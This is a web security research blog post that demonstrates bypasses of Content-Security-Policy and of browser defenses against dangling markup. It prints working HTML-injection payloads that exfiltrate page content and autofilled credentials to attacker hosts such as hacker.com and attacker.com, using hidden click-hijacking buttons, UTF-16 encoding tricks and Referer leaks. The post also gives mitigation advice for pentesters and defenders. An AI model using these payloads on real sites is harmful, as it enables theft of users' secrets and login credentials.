~35 minute read

The Content-Security-Policy (CSP) is a widely adopted security defense designed to protect applications against content injection vulnerabilities such as XSS and HTML injection. Sometimes, these types of vulnerabilities become unexploitable and worthless due to the Content Security Policy.

Nowadays, there are many write-ups that show how to find a way around poorly configured policies. This post differs because it shows how to exploit applications even if the CSP is correctly configured. Some of these bypasses don't rely on any misconfigurations.

This post will begin by showing that very often the Content-Security-Policy is not adequately configured. Due to these super common configuration flaws, applications often remain vulnerable to dangerous attacks despite of having a CSP.

Later on, a form-action Content-Security-Policy bypass will be exposed. This attack doesn't rely on misconfigurations and works in a lot of scenarios. This means that whenever you encounter a well-configured CSP standing in your way to exploitation, this bypass will be your tactic to breach in (most of the time).

Browsers' security defenses against dangling markup injections were bypassed too: Dangling markup attacks were powerful content injection attacks that came in useful in situations where script execution is not allowed (e.g. blocked by the CSP). Because of this, browsers now have security defenses that block dangling markup attacks. Due to this mitigation, these attacks became dead and useless. The post will show how to bypass these browsers' security validations, resurrecting dangling markup attacks back from the dead. With one of these bypasses it is possible to exploit content injection vulnerabilities regardless of whatever the CSP configuration might be, it works even when facing the strictest configurations (e.g. everything set to 'none': default-src 'none'; form-action: 'none').

After a sample study of 300 of the most visited websites in the world, statistics have proven that there is a lot of ignorance regarding the correct use of the CSP: 82.6% of the policies have vulnerable configurations and, 87.5% of the well-configured policies can be bypassed with one of the attacks exposed in this post; this means that 98% of the policies can be defeated. It is very likely that if you have a web app that uses a Content Security Policy, its configuration is vulnerable.

Other tactics for dealing with the CSP will be shown too.

Possibly this post will illustrate multiple methods to transform those unexploitable code injection vulnerabilities into exploitable vulnerabilities.

The forgotten directive

Apparently there is a lot of ignorance regarding the use of the form-action directive. The form-action directive restricts to which locations forms are allowed to be submitted.

In most websites this directive is not used at all (~82.5% of a sample study). It seems that it is not considered a very important Content-Security-Policy directive, but this is a very big mistake. As it is about to be demonstrated, the consequences of not using it could be lethal.

Data exfiltration through forms

Even though script execution might be correctly mitigated by the CSP, if the form-action directive is not specified it will still be possible to carry out different attacks against the application. The following attack shows how to exfiltrate sensitive information from a user's account by doing <form> injections.

Imagine there is a page vulnerable to HTML injection which has some confidential Secret data. A <form> tag and a <textarea> tag are injected:

The unclosed <textarea> tag will consume all the information after itself.

A little of inline CSS code can be super super useful to inject the form submit button and make it invisible and as big as the whole document; this will trick the user into submitting the form whenever any element in the page is clicked. Click here to see a DEMO

The data consumed by the textarea will be sent to an external domain controlled by the attacker when any element in the page is clicked.

It is extremely easy to get a click from the user.

There are many other ways to ensure to get a click from the user. Another method would be to make the submit button look like an "Accept Cookies" prompt dialogue. The following phone screenshot shows how the cookie dialogue fills half the screen. Since the user cannot see half the page the dialogue is clicked pretty much always, even if it is in plain view.

It is also very common to find websites that prompt users for human verification such as CAPTCHAs and other sorts of challenges. One good example would be Cloudflare's human click verification. This challenge is very common to find among others.

Some websites pop-up prompt dialogues that must be closed in order to view the page. This would be another easy method to get a click.

The Bypass

It is very important to always declare the form-action directive. If it is missing then attacks that exfiltrate the information in the document can still be leveraged, despite that the webapp is using the Content Security Policy. But the reality is that the form-action directive is very often not declared: ~82.5% out of a sample of some of the 300 most visited websites in the world do not use it. This is an alarming number.

One way to mitigate the attack just described would be to set the form-action directive to 'self', this means that forms are not allowed to be submitted to external domains so the information cannot be exfiltrated (forms can only be submitted to the same domain).

~15.9% of the websites in the sample study do have form-action set to 'self'.

The objective of this post will be to tackle down this 15.9% by submitting form data to an external domain even if the Content Security Policy is forbidding such action.

But first, other ways in which forms can be used to do harm will be explained, in order to be aware of the risks of this bypass.

Exploiting autofill to leak login credentials

What if there's a markup injection in the page but there's no valuable information in it for the attacker to exfiltrate?

If the website has a login form somewhere in the application (not necessarily in the vulnerable page, it can be anywhere in the same domain) it is possible to mark the vulnerability as potentially exploitable in the report.

The browser's password manager has a list of the domains where login credentials have been saved. Whenever the browser renders a page with a <input type='password'> , it assumes the page has a login form and, if the user happens to be using the password manager, the login form will be automatically filled with the victim's authentication credentials.

If there is a HTML injection in a page that has no sensitive information to be exfiltrated, it is possible to inject a <form> with 2 input fields: a text input field and a password input field. When the browser renders the input fields, the form is going to be automatically filled with the user's credentials. The credentials will be leaked whenever any element in the page is clicked due to the super-effective CSS code.

Even if the hidden HTML attribute is used in the <input> fields to make the form invisible, the password manager will still autofill the login with the user's credentials.

Abusing the password manager is often a clear shot, a lot people use the password manager. Browser vendors actually advise users to use the password manager because they claim making use of the password manager increases users' safety since they allow them to use very strong and unique passwords for every site as they don't need to remember them. Google even made a little commercial in which they encourage users to use the password manager, Google says it improves users' security.

Even further, when someone buys a new phone with android and launches Chrome for the very first time, Chrome will ask the user if he would like to "Sign in to Chrome" so that he can use his data across multiple devices. When the users Signs in, the password manager is automatically enabled for all websites. This is also the case for people who use Google Chrome in their computers.

Whenever the web application has a login form, it cannot be determined with certainty if the users use the "Save credentials" feature, but a lot of people do use it. This means that there is the possiblity that the markup injection could be exploited to exfiltrate users' credentials. So, if there is a login form anywhere in the application, the markup injection can be labeled as "potentially exploitable" in the pentest report instead of labeling it as "not exploitable". If the application doesn't have a login form then there won't be anything private to exfiltrate (except with intranet web apps).

The browser's password manager will still be enabled even if the original login input fields have the autocomplete=off attribute. Enterprises can use Chrome Enterprise, this browser can be used by enterprises to enforce certain security policies in the laptops of their employees, such as disabling the password manager.

Bringing Dangling Markup Attacks Back From The Dead

Dangling markup injection is a very convenient scriptless attack that is useful when script execution is not allowed.

Sometimes it is possible to inject an HTML element that requests an external resource (such as an image or a stylesheet), and leave an unclosed quote to consume the document's content into the URL attribute of the injected element.

When the browser fetches the external resource, the consumed information will be leaked through the request's URL.

The limitation of this attack is that there must be a closing quote somewhere in the document for the injected HTML to be valid.

However, as you can see in the next screenshot, some browsers implement defenses against such kinds of attacks. Whenever there is a request that has at least one angle-bracket ( < > ) and a new-line (%0A or %0D) in the URL, the request is blocked by the browser; it looks like the document's source-code is being exfiltrated through the URL.

These security defenses are (currently) implemented by Google Chrome and Microsoft Edge. Firefox does allow such types of requests and will let the document leak throughout the URI. Safari, I haven't tested.

In some scenarios, this security validation can be bypassed. This bypass makes it possible to resurrect dangling markup attacks back from the dead. A dangling markup injection can be a very profitable alternative attack when script execution is not possible.

There are 4 ways in which the security validation can be bypassed:

Bypass #1: UTF-16 character encoding attack

The first bypass is a UTF-16 character encoding attack. The attack uses the CSS url() function to make a request to a URL which will consume the document's content.

In order to avoid detection, the character set encoding of the document is going to be changed so that instead of decoding the document's content as ASCII characters, it will be decoded as CJK characters (Chinese, Japanese and Korean). This way, instead of seeing < and > characters and new-lines (%0A), the browser is going to see Chinese characters instead.

This can be achieved by using an <iframe> with a data: URL

data: URLs can be used to define the content of the resource being requested in the URL itself. Instead of linking to an external resource, the URL contains the whole file.

A data: URL can have a document-type and charset declaration:

First, inject an iframe element which defines the content of the iframe using a data: URL.

<iframe src='data:text/html; charset=utf-8, <p><h1> Hello </h1></p>'>

Now leave the quote of the iframe's src attribute unclosed and see how everything after it gets consumed into the iframe.

Now it's just a matter of changing the character set in the mime-type declaration of the data: URL to UTF-16 and that will do.

Notice how everything got interpreted as Chinese characters, including the angle-brackets and new-lines < > %0A %0D !

Now inject the dangling markup to consume the document's content into the URL and encode it in UTF-16 so that it is decoded as valid code and not Chinese. Now you can exfiltrate everything out with it:

Dangling markup:
<html><body><style>*{background-image: url(http://hacker.com/exfiltrate_data/

UTF-16 encode it by placing a null-byte after each character and double-encode everything because it is a URL. And that's it, just put everything inside the data: URL

?html_injection=<iframe src='data:text/html; charset=UTF-16, %2500<%2500h%2500t%2500m%2500l%2500>%2500<%2500b%2500o%2500d%2500y%2500>%2500<%2500s%2500t%2500y%2500l%2500e%2500>%2500*%2500{%2500b%2500a%2500c%2500k%2500g%2500r%2500o%2500u%2500n%2500d%2500-%2500i%2500m%2500a%2500g%2500e%2500:%2500 %2500u%2500r%2500l%2500(%2500h%2500t%2500t%2500p%2500:%2500/%2500/%2500h%2500a%2500c%2500k%2500e%2500r%2500.%2500c%2500o%2500m%2500/%2500l%2500e%2500a%2500k%2500?%2500d%2500a%2500t%2500a%2500=

All the consumed data will look as Chinese characters instead of their original values ( < > %0A %0D ), successfully avoiding detection and bypassing the validation!

Now it is only a matter of decoding the URI to get the original data.

The decoding process is a little tricky so, for your convenience, here is a tool that can craft different kinds of dangling-markup injections and also has the functionality to decode the exfiltrated data to its original value.

https://nzt-48.org/lab/csp-tactics/back-from-the-dead.html

The constraint here is that iframes are allowed to used data: URLs in only 19% of the sampled websites (because of the frame-src directive). With bypass #2 this percentage will be increased to ~70%.

Bypass #2: Hacking with style

There are other ways to exfiltrate the data; the <iframe> is actually not necessary but it was very useful for the purpose of explaining the bypass, but the same thing can be achieved by using only a <link> tag:

The content is being exfiltrated through the URL of a background-image property. However, such request is blocked because there are angle-brackets < > and new-lines in the requested URL. It is only a matter of changing the encoding of the stylesheet to UTF-16 so that the angle-braces get decoded as Chinese characters.

Loading images from external domains might be blocked by the image-src directive. There are different types of resources that can be fetched as an alternative accordingly to the CSP in question:

But even though these constraints are quite a limitation, these bypasses are very nice because they do not require user-interaction besides opening the page with the injection.

Bypass #3: Target down

This is probably the most harmful attack illustrated in this post. Also, bypassing Google Chrome's and Microsoft Edge's security defense was extremely easy.

Unlike all the other attacks, this attack always works regardless of very strict Content-Security-Policy configurations such as having everything set to 'none'.

form-action 'none'; img-src 'none'; font-src 'none'; media-src: 'none'; frame-src 'none'; prefetch-src 'none'; default-src 'none'

Inline style-src is very convenient to have though.

The drawback is that this attack requires one-click from the user. If inline style is allowed (as it almost always is), having any element of the page clicked will do.

It is possible to leak information by using an unclosed <a> element.

The href attribute is left unclosed so that it consumes all the data until a quote is found (" or ' can be used conveniently), however, the page must have a closing quote. Sometimes injected code is output more than once throughout the document so it is possible to tweak the injection so that it closes itself.

Google Chrome and Microsoft Edge have a security defense against dangling markup attacks of this sort. Whenever there is a hyperlink with a URL that has angle-brackets < > and %0A/%0D characters, the link is disabled and clicking it results in no-action.

This was super easy to bypass though, just by adding a target attribute to open the URL in a new tab, the link will be enabled and clickable and the data will be leaked through the URL as soon as any element in the page is clicked. Nowadays links with target="_blank" are not opened in a new window, they are opened in a new tab, so this happens without prompting the user for authorization.

It is super nice that the <a> tag does not need to have any inner text for it to be valid syntax and clickable. Notice how the link still works even there's nothing nested inside the tag because of the CSS used to make the link as big as the document.

In contrast with all the other attacks in this post, this attack cannot be blocked via any Content-Security-Policy directive nor stopped with any Cross-Origin related HTTP header, the Referrer policy is also futile here.

Bypass #4: Using window names

A while ago I made a post about a technique to bypass browsers' defenses against dangling markup injection attacks. Basically it consists of opening a page with an <iframe>, <object> or <embed> tag and consume everything into the name attribute by leaving it unclosed, the name attribute will not be validated because it is not meant to be used for URLs. The window.name can be read from the page loaded within the iframe.

Complete write-up here:
Bypassing Browser's Mitigations Against Dangling Markup Injection

I did not find this bypass myself, in contrast to the 3 previous bypasses.

form-action Content-Security-Policy bypass

If the form-action directive is set to 'self' to prevent data exfiltration, forms can still be used to exfiltrate the content of the page to any external domain by means of this bypass.

The only constraint for this form-action Content-Security-Policy bypass is that the parameter vulnerable to HTML injection must be a GET parameter (if the injection happens to be in a POST parameter, in certain scenarios, the attack vector can be tweaked to make the attack work).

Once an HTML injection is found, a <form> tag and a <textarea> tag are injected into the vulnerable page. The textarea tag is left unclosed to consume all the information that follows.

The form method will be set to GET so that, when the form is submitted, all the data consumed by the <textarea> will be placed in the URL. Then it is only a matter of leaking the URL to exfiltrate all the data.

So how to leak the URL?

In order to leak the URL, a second injection has to be made. This injection can be a <img> tag that requests an external image located in the attacker's domain. When the browser makes the request to the external domain, the Referer HTTP header will leak the entire URL. The referrer policy must be set to "unsafe-url".

<img src="//attacker.com/referrer_leak" referrerpolicy="unsafe-url" />

So, in addition to the <textarea>, the injection will also have an <input> field that will carry the second injection (the <img> tag that leaks the URL). The form will be submitted to the same vulnerable page, the document's content will be placed in the URL and the vulnerable GET parameter will be injected with the <img> tag.

Putting it all together, the injection should look something like this:

vulnerable.php?html_injection=<form action="vulnerable.php" method="GET">
<input name="html_injection" value="<img referrerpolicy='unsafe-url' src='//attacker.com/data_leak' />" />
<input type="submit" value="Leak data!" style="opacity: 0; height: 100%25; width: 100%25; position: absolute; top: 0; right: 0;" />
<textarea name="leaked_data">

In case the Content-Security-Policy is blocking the loading of cross-domain images with the img-src directive, there are other types of resources that might be loaded with a <link> tag:

URL leak with Refresh.

If default-src is set to 'self' or 'none', and it is not possible to load external resources, it is possible to redirect the browser to the attacker's domain with meta Refresh and the URL will be leaked through the Referer header:

<meta http-equiv="Refresh" content="1, url=http://hacker.com/exfiltrate_data/" />

The Referer policy must be declared via a <meta> tag so that the URL query string is disclosed.

<meta name="referrer" content="unsafe-url" />

vulnerable_page.php?html_injection=<form method=GET action=vulnerable_page.php>
<input type=submit value="Leak all the data!" style="opacity: 0; position: absolute; top: 0; right: 0; width: 100%25; height: 100%25;">
<input hidden name=html_injection value="<meta name=referrer value=unsafe-url><meta http-equiv=refresh content='1, url=http://hacker.com/exfiltrate_data/'>">
<textarea name=exfiltrated_data>

Click here to see a DEMO

The way in which web apps should use the Content-Security-Policy is by setting form-action to 'none' in all pages that do not send form data and, in pages that do send form data, form-action should be set to a specific URI in order to avoid data hijacking and Same-Site Request Forgery.

Hyperlink (user-interaction: 2 clicks)

If for any reason it is not possible to use meta Refresh to redirect the browser to the attacker's domain, an <area> invisible hyperlink can be used to induce redirection to the attacker's domain

Maybe there are better ways of using CSS for changing the UI in a more compelling way to get 2 clicks, rather than just setting the opacity to 0.

Click here to see a DEMO

The cracks in the form-action directive

It has already been demonstrated why it is imperative to declare the form-action directive. However, when it does get used, the way in which it is used most of the time still leaves the application vulnerable to certain attacks.

Usually, whenever form-action is used, it is set to 'self', preventing forms to be submitted to external domains. Sometimes, forms are allowed to be sent cross-origin to certain specific domains.

In both cases, the following attacks are still possible:

1. Overwriting user input with parameter pollution
2. Same-Site Request Forgery

Overwrite input with parameter pollution

By injecting input fields with name attributes equal to the authentic input fields' in the form, it might be possible to overwrite the values entered by the victim, thus tampering the submitted information.

Duplicating parameters is known as parameter pollution (as initially termed by Stefano Di Paola). The way duplicate parameters are processed is framework-specific. Some of them use the first parameter and others the last, others concatenate the values. The following resource shows how different frameworks handle request parameters:
https://medium.com/@0xAwali/http-parameter-pollution-in-2024-32ec1b810f89

If the code injection occurs after the <form> tag, it is still possible to associate input fields to the form if the <form> tag has an id attribute:

Hijacking CSRF tokens

This is basically a Same-Site Request Forgery. The form action gets overwritten so the data is submitted to a different module of the application, along with injected hidden parameters. The page's authentic CSRF token makes the attack possible. The rest of the original parameters are ignored in most cases.

It seems like setting form-action to 'self' is not enough. It would be better to have path-specific form-action directives for each authentic form that belongs to the application.

form-action https://hack.me/user/form_one.html

The protocol should be added too. If only the domain is specified the user can be fooled into submitting the form over an insecure channel by using http: instead of https:

It seems that using content injection to conduct parameter pollution attacks cannot be mitigated through any HTTP header as for now. Even if each form is delivered with a path-specific form-action directive these attacks will still be feasible. It would be a matter of input validation.

style-src

After examining the Content-Security-Policy of some of the world's 300 most visited websites, I was delighted to find that style-src is always so permissive that <style> tags and style attributes are allowed in 100% of the websites I tested.

CSS style code shouldn't be underestimated. There are plenty of high-impact CSS-based scriptless attacks that can be used to compromise the security of applications. Once this realization is made, it becomes very apparent that the weakest point in most CSP configurations is style-src. When there is a Content Security Policy, it is still possible to exploit applications with CSS attacks pretty much always. So this is usually a clear shot.

PortSwigger researcher Gareth Heyes developed a fabulous CSS code injection exploitation tool that is capable of exfiltrating the document without prior knowledge of it's structure. You just have to inject the following line to exfiltrate the document's content:

<style> @import 'https://portswigger-labs.net/blind-css-exfiltration/start'; </style>

This is also very very good because the data will be exfiltrated regardless if it happens to be before or after the injectionYou can read about his attack in the following link:

Blind CSS data exfiltration by Gareth Heyes
https://portswigger.net/research/blind-css-exfiltration

***** UPDATE *****

Awesome news, a security researcher called Dragos Albastroiu released a CSS injection exploitation tool that in contrast to Gareth's tool, it also exfiltrates text nodes and even the content inside <script> tags! This is his blog post:

https://adragos.ro/fontleak/

In attack scenarios when user-interaction is needed, making use of CSS via the style attribute is super super useful for ensuring to get a click from the user. If you need the user to click a specific element in the page, style can be used to trick the user into clicking that element whenever any other element in the page is clicked.

There are also many other attacks, they are clever so it is fun to read about them. These are some resources that illustrate powerful CSS attacks:

@sirdarckcat's attribute reader:
http://eaea.sirdarckcat.net/cssar/v2/

@kinugawamasato text node reader:
https://mksben.l0.cm/2015/10/css-based-attack-abusing-unicode-range.html

@SecurityMB font ligatures:
https://sekurak.pl/wykradanie-danych-w-swietnym-stylu-czyli-jak-wykorzystac-css-y-do-atakow-na-webaplikacje/

@SecurityMB Data exfiltration in Firefox via single injection point:
https://research.securitum.com/css-data-exfiltration-in-firefox-via-single-injection-point/#:~:text=Firefox%20and%20stylesheet%20processing

Pepe Vila recursive imports technique:
https://gist.github.com/cgvwzq/6260f0f0a47c009c87b4d46ce3808231

@d0nutptr recursive import exfiltration tool:
https://github.com/d0nutptr/sic

Mario Heiderich presentation on scriptless attacks:
https://www.slideshare.net/x00mario/stealing-the-pie

Conclusions

This post described 4 different types of attacks:

Data exfiltration to external domains when the form-action directive is not used

It was demonstrated that using the form-action directive is crucial because dangerous attacks can be leveraged if it isn't used. Many websites don't use this directive (~82.5% of the domains in the sample study).

form-action CSP bypass

Exfiltrating data to external domains by the use of forms is still possible even if form-action is set to 'self'. The advantage of these attacks is that they consume the whole document and there is no need to have a closing quote, which means that they work in most situations with a higher degree of effectiveness.

Dangling Markup Injections

These data exfiltration attacks are useful when form-action is set to 'none' so forms are not allowed to be sent anywhere at all.

Some of these attacks do not require any user-interaction but they can be blocked by means of other CSP directives such as img-src, style-src and frame-src.

The <area> attack requires 1 click from the user but it cannot be blocked by any CSP directive.

Limitations: these attacks do not consume the whole document, and there must be a closing-quote somewhere in the document for the injection to work.

abusing autofill in login forms

If the web application has a login form, you can mark the bug as potentially exploitable. This wouldn't be the case if the app has a Multi Factor Authentication.

Remember to use the hidden attribute in the <textare> tag to avoid displaying the text-box with all the code of the web page

It seems that even in the most strict CSP configurations (e.g. everything set to 'none') content injections can still be exploited thanks to the <area> dangling markup attack. Some browsers have built-in security defenses against these types of attacks but, as it has been illustrated already, these security defenses can be bypassed.

Also, it would be neat if a global referrer policy could be enforced over all types of possible requests. The referrerpolicy attribute can override the Referrer-Policy HTTP header and meta referrer elements as well, if this didn't happen just like with Content-Type declarations, the form-action CSP bypass could be mitigated. As long as the URL can be leaked, this directive can be bypassed if it is set to 'self'.

Acknowledgment

Many of the attacks shown in this post have been public since (2011) in Michal Zalewski's (@lcamtuf) website: https://lcamtuf.coredump.cx/postxss/ However, when I came up with the idea of the form-action CSP bypass, I didn't know there was something very similar already published in Zalewski's post. I wanted to write about it because I liked the idea and also because it seems this has gone somewhat unnoticed since 2011. It is super common to find websites that don't use the form-action directive even though high risk content injection attacks are possible without it. Setting form-action to 'none' in pages that don't have forms and a way to enforce the Referrer-Policy over all requests would be recommended.

Zalewski's post also talks about Dangling Markup Injections. However, the attacks he wrote about don't work anymore because nowadays browsers have mitigation's that block these kinds of attacks. So I think the UTF-16 encoding bypass and the <area> target bypass are a nice contribution since they resurrected these attacks and made them possible once again regardless of browser's security defenses.

I hope you find this useful and are able to make those dead content injection bugs exploitable.

You can follow me on X, Bluesky or infosec-exchange:
https://x.com/ruben_v_pina
https://bsky.app/profile/nzt-48.org
https://infosec.exchange/@ruben_v_pina

---

Filed under: Web Application Security,XSS - @ 2025-01-19 00:39